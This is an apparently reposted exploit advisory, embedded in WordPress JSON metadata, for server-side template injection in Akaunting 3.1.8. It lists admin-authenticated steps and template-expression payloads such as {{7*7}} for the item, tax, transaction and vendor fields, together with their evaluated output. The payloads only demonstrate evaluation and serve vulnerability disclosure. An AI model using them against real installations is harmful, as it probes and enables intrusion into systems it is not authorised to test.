# Exploit Title: Akaunting 3.1.8 – Server-Side Template Injection (SSTI)
# Exploit Author: tmrswrr
# Date: 30\/05\/2024
# Vendor: https:\/\/akaunting.com\/forum
# Software Link: https:\/\/akaunting.com\/apps\/crm
# Vulnerable Version(s): 3.1.8
# Tested : https:\/\/www.softaculous.com\/apps\/erp\/Akaunting<\/p>\n
1 ) Login with admin cred and go to : Items > New Item
https:\/\/127.0.0.1\/Akaunting\/1\/common\/items
2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers
3 ) Save it
4 ) You will be see result :
49<\/p>\n
====================================================================================<\/p>\n
1 ) Login with admin cred and go to :Settings > Taxes > New Tax
https:\/\/127.0.0.1\/Akaunting\/1\/settings\/taxes\/1\/edit
2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers
3 ) Save it
4 ) You will be see result :
49
> {{‘a’.toUpperCase()}}
> A
> {{‘a’.concat(‘b’)}}
> ab
====================================================================================<\/p>\n
1 ) Login with admin cred and go to : Banking > Transactions > New Income
https:\/\/127.0.0.1\/Akaunting\/1\/banking\/transactions\/create?type=income
2 ) Write SSTI payload : {{7*7}} Description field
3 ) Save it
4 ) You will be see result :
49
> {{‘a’.toUpperCase()}}
> A
> {{‘a’.concat(‘b’)}}
> ab<\/p>\n
=======================================================================================<\/p>\n
1 ) Login with admin cred
https:\/\/127.0.0.1\/Akaunting\/1\/purchases\/vendors\/1\/edit
2 ) Write SSTI payload : {{7*7}} Name field
3 ) Save it
4 ) You will be see result :
49
> {{‘a’.toUpperCase()}}
> A
> {{‘a’.concat(‘b’)}}
> ab<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Akaunting 3.1.8 – Server-Side Template Injection (SSTI)# Exploit Author: tmrswrr# Date: 30\/05\/2024# Vendor: https:\/\/akaunting.com\/forum# Software Link: https:\/\/akaunting.com\/apps\/crm# Vulnerable Version(s): 3.1.8# Tested : https:\/\/www.softaculous.com\/apps\/erp\/Akaunting 1 ) Login with admin cred and go to : Items > New Itemhttps:\/\/127.0.0.1\/Akaunting\/1\/common\/items2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57157","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57157"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57157\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}